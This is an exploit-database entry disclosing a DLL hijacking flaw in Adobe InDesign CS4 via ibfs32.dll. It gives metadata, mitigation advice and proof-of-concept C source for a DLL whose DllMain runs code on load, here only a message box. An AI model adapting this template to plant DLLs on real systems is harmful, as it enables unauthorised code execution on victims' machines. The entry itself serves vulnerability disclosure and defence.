Adobe InDesign CS4 DLL Hijacking Exploit (ibfs32.dll)

vendor:

InDesign CS4

by:

Glafkos Charalambous

7,8

CVSS

HIGH

DLL Hijacking

427

CWE

Product Name: InDesign CS4

Affected Version From: CS4 v6.0

Affected Version To: CS4 v6.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:adobe:indesign:cs4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 x64 Ultimate

2010

Adobe InDesign CS4 DLL Hijacking Exploit (ibfs32.dll)

Adobe InDesign CS4 is vulnerable to DLL Hijacking. An attacker can exploit this vulnerability by placing a malicious DLL file in the same directory as the vulnerable application. When the vulnerable application is executed, the malicious DLL will be loaded and executed instead of the legitimate DLL.

Mitigation:

Ensure that all applications are up to date and patched with the latest security updates. Additionally, ensure that all applications are running with the least privileges necessary.

Source

Exploit-DB raw data:

/* 
Exploit Title: Adobe InDesign CS4 DLL Hijacking Exploit (ibfs32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 v6.0
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .indl .indp .indt .inx
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		dll_hijack();
	case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
	break;
	}
	return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
}